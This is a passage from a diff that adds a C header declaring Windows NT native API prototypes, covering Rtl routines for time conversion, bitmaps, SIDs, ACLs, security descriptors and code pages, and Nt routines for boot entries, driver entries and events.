); + +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + PTIME_FIELDS CutoverTime, + PLARGE_INTEGER SystemTime, + PLARGE_INTEGER CurrentSystemTime, + BOOLEAN ThisYear + ); + +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime ( + IN PLARGE_INTEGER SystemTime, + OUT PLARGE_INTEGER LocalTime + ); + +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime ( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + +VOID +NTAPI +RtlTimeToElapsedTimeFields ( + IN PLARGE_INTEGER Time, + OUT PTIME_FIELDS TimeFields + ); + +VOID +NTAPI +RtlTimeToTimeFields ( + PLARGE_INTEGER Time, + PTIME_FIELDS TimeFields + ); + +BOOLEAN +NTAPI +RtlTimeFieldsToTime ( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1980ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1970ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetActiveTimeBias( + IN LONG ActiveBias + ); + +VOID +NTAPI +RtlInitializeBitMap ( + PRTL_BITMAP BitMapHeader, + PULONG BitMapBuffer, + ULONG SizeOfBitMap + ); + +VOID +NTAPI +RtlClearBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlSetBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +BOOLEAN +NTAPI +RtlTestBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlClearAllBits ( + PRTL_BITMAP BitMapHeader + ); + +VOID +NTAPI +RtlSetAllBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlFindClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindClearBitsAndSet ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBitsAndClear ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +VOID +NTAPI +RtlClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToClear + ); + +VOID +NTAPI +RtlSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToSet + ); + +ULONG +NTAPI +RtlFindClearRuns ( + PRTL_BITMAP BitMapHeader, + PRTL_BITMAP_RUN RunArray, + ULONG SizeOfRunArray, + BOOLEAN LocateLongestRuns + ); + +ULONG +NTAPI +RtlFindLongestRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlFindFirstRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlNumberOfClearBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlNumberOfSetBits ( + PRTL_BITMAP BitMapHeader + ); + +BOOLEAN +NTAPI +RtlAreBitsClear ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +BOOLEAN +NTAPI +RtlAreBitsSet ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +ULONG +NTAPI +RtlFindNextForwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +ULONG +NTAPI +RtlFindLastBackwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +CCHAR +NTAPI +RtlFindLeastSignificantBit ( + IN ULONGLONG Set + ); + +CCHAR +NTAPI +RtlFindMostSignificantBit ( + IN ULONGLONG Set + ); + +BOOLEAN +NTAPI +RtlValidSid ( + PSID Sid + ); + +BOOLEAN +NTAPI +RtlEqualSid ( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN +NTAPI +RtlEqualPrefixSid ( + PSID Sid1, + PSID Sid2 + ); + +ULONG +NTAPI +RtlLengthRequiredSid ( + ULONG SubAuthorityCount + ); + +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlInitializeSid( + OUT PSID Sid, + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount + ); + +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid ( + PSID Sid + ); + +PULONG +NTAPI +RtlSubAuthoritySid( + IN PSID Sid, + IN ULONG SubAuthority + ); + +PUCHAR +NTAPI +RtlSubAuthorityCountSid ( + PSID Sid + ); + +ULONG +NTAPI +RtlLengthSid ( + PSID Sid + ); + +NTSTATUS +NTAPI +RtlCopySid ( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray ( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +VOID +NTAPI +RtlCopyLuid ( + PLUID DestinationLuid, + PLUID SourceLuid + ); + +VOID +NTAPI +RtlCopyLuidAndAttributesArray ( + ULONG ArrayLength, + PLUID_AND_ATTRIBUTES Source, + PLUID_AND_ATTRIBUTES Target + ); + +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +VOID +NTAPI +RtlMapGenericMask( + PACCESS_MASK AccessMask, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlCreateAcl( + OUT PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + +BOOLEAN +NTAPI +RtlValidAcl( + PACL Acl + ); + +NTSTATUS +NTAPI +RtlQueryInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlSetInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlAddAce( + PACL Acl, + ULONG AceRevision, + ULONG StartingAceIndex, + PVOID AceList, + ULONG AceListLength + ); + +NTSTATUS +NTAPI +RtlDeleteAce( + PACL Acl, + ULONG AceIndex + ); + +NTSTATUS +NTAPI +RtlGetAce( + PACL Acl, + ULONG AceIndex, + PVOID *Ace + ); + +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID Owner, + IN OPTIONAL BOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Owner, + OUT PBOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +BOOLEAN +NTAPI +RtlFirstFreeAce( + PACL Acl, + PVOID *FirstFree + ); + +NTSTATUS +NTAPI +RtlAddCompoundAce( + IN PACL Acl, + IN ULONG AceRevision, + IN UCHAR AceType, + IN ACCESS_MASK AccessMask, + IN PSID ServerSid, + IN PSID ClientSid + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptorRelative( + PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, + ULONG Revision + ); + +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +ULONG +NTAPI +RtlLengthSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, + IN ULONG SecurityDescriptorLength, + IN SECURITY_INFORMATION RequiredInformation + ); + +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSECURITY_DESCRIPTOR_CONTROL Control, + PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR pSecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL Control, + IN OUT PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN DaclPresent, + OUT PACL *Dacl, + OUT PBOOLEAN DaclDefaulted + ); + +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PUCHAR RMControl + ); + +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PUCHAR RMControl OPTIONAL + ); + +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN SaclPresent, + PACL Sacl, + BOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN SaclPresent, + OUT PACL *Sacl, + OUT PBOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor ( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Group OPTIONAL, + IN BOOLEAN GroupDefaulted OPTIONAL + ); + +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Group, + OUT PBOOLEAN GroupDefaulted + ); + +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD ( + IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + IN OUT PULONG AbsoluteSecurityDescriptorSize, + OUT OPTIONAL PACL Dacl, + IN OUT PULONG DaclSize, + OUT OPTIONAL PACL Sacl, + IN OUT PULONG SaclSize, + OUT OPTIONAL PSID Owner, + IN OUT PULONG OwnerSize, + OUT OPTIONAL PSID PrimaryGroup, + IN OUT PULONG PrimaryGroupSize + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2 ( + IN OUT PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + IN OUT PULONG pBufferSize + ); + +NTSTATUS +NTAPI +RtlNewSecurityGrantedAccess ( + ACCESS_MASK DesiredAccess, + PPRIVILEGE_SET Privileges, + PULONG Length, + HANDLE Token, + PGENERIC_MAPPING GenericMapping, + PACCESS_MASK RemainingDesiredAccess + ); + +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus ( + SECURITY_STATUS Error + ); + +NTSTATUS +NTAPI +RtlImpersonateSelf ( + IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +NTSTATUS +NTAPI +RtlAdjustPrivilege ( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +NTSTATUS +NTAPI +RtlAcquirePrivilege ( + PULONG Privilege, + ULONG NumPriv, + ULONG Flags, + PVOID *ReturnedState + ); + +VOID +NTAPI +RtlReleasePrivilege ( + PVOID StatePointer + ); + +VOID +NTAPI +RtlRunEncodeUnicodeString( + PUCHAR Seed OPTIONAL, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlRunDecodeUnicodeString( + UCHAR Seed, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlEraseUnicodeString( + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlFindMessage( + PVOID DllHandle, + ULONG MessageTableId, + ULONG MessageLanguageId, + ULONG MessageId, + PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSTATUS +NTAPI +RtlFormatMessage( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlFormatMessageEx( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength, + OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext + ); + +NTSTATUS +NTAPI +RtlInitializeRXact( + IN HANDLE RootRegistryKey, + IN BOOLEAN CommitIfNecessary, + OUT PRTL_RXACT_CONTEXT *RXactContext + ); + +NTSTATUS +NTAPI +RtlStartRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAbortRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAddAttributeActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN HANDLE KeyHandle, + IN PUNICODE_STRING AttributeName, + IN ULONG NewValueType, + IN PVOID NewValue, + IN ULONG NewValueLength + ); + +NTSTATUS +NTAPI +RtlAddActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN ULONG NewKeyValueType, + IN PVOID NewKeyValue OPTIONAL, + IN ULONG NewKeyValueLength + ); + +NTSTATUS +NTAPI +RtlApplyRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlApplyRXactNoFlush( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +ULONG +NTAPI +RtlNtStatusToDosError ( + NTSTATUS Status + ); + +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb ( + NTSTATUS Status + ); + +PPEB +RtlGetCurrentPeb ( + VOID + ); + +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + IN PCPTABLEINFO CustomCP, + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH CustomCPString, + IN ULONG BytesInCustomCPString + ); + +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +VOID +NTAPI +RtlInitCodePageTable( + IN PUSHORT TableBase, + OUT PCPTABLEINFO CodePageTable + ); + +VOID +NTAPI +RtlInitNlsTables( + IN PUSHORT AnsiNlsBase, + IN PUSHORT OemNlsBase, + IN PUSHORT LanguageNlsBase, + OUT PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlResetRtlTranslations( + PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlGetDefaultCodePage( + OUT PUSHORT AnsiCodePage, + OUT PUSHORT OemCodePage + ); + +VOID +NTAPI +RtlInitializeRangeList( + IN OUT PRTL_RANGE_LIST RangeList + ); + +VOID +NTAPI +RtlFreeRangeList( + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlCopyRangeList( + OUT PRTL_RANGE_LIST CopyRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlAddRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN UCHAR Attributes, + IN ULONG Flags, + IN PVOID UserData, OPTIONAL + IN PVOID Owner OPTIONAL + ); + +NTSTATUS +NTAPI +RtlDeleteRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlDeleteOwnersRanges( + IN OUT PRTL_RANGE_LIST RangeList, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlFindRange( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Minimum, + IN ULONGLONG Maximum, + IN ULONG Length, + IN ULONG Alignment, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PULONGLONG Start + ); + +NTSTATUS +NTAPI +RtlIsRangeAvailable( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PBOOLEAN Available + ); + +NTSTATUS +NTAPI +RtlGetFirstRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetLastRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetNextRange( + IN OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range, + IN BOOLEAN MoveForwards + ); + +NTSTATUS +NTAPI +RtlMergeRangeLists( + OUT PRTL_RANGE_LIST MergedRangeList, + IN PRTL_RANGE_LIST RangeList1, + IN PRTL_RANGE_LIST RangeList2, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlInvertRangeList( + OUT PRTL_RANGE_LIST InvertedRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlVolumeDeviceToDosName( + IN PVOID VolumeDeviceObject, + OUT PUNICODE_STRING DosName + ); + +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + IN PUNICODE_STRING VolumeRootPath + ); + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; +typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; + +typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); +typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); + +typedef const GUID *LPCGUID; + +#endif + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +RtlVerifyVersionInfo( + IN PRTL_OSVERSIONINFOEXW VersionInfo, + IN ULONG TypeMask, + IN ULONGLONG ConditionMask + ); + +BOOLEAN +RtlFlushSecureMemoryCache( + PVOID lpAddr, + SIZE_T size + ); + +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + +VOID +NTAPI +RtlSetLastWin32Error( + LONG Win32Error + ); + +VOID +NTAPI +RtlRestoreLastWin32Error( + LONG Win32Error + ); + +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + IN HANDLE Handle, + IN BOOLEAN Get, + IN RTL_BSD_ITEM_TYPE DataItem, + IN PVOID DataBuffer, + IN ULONG DataBufferLength, + OUT PULONG ByteRead OPTIONAL + ); + +NTSTATUS +NTAPI +RtlLockBootStatusData( + OUT PHANDLE BootStatusDataHandle + ); + +VOID +NTAPI +RtlUnlockBootStatusData( + IN HANDLE BootStatusDataHandle + ); + +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +// + +// +// begin_ntapi +NTSTATUS +NTAPI +NtDelayExecution( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteBootEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + +NTSTATUS +NTAPI +NtSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + +NTSTATUS +NTAPI +NtTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + +NTSTATUS +NTAPI +NtAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteDriverEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI 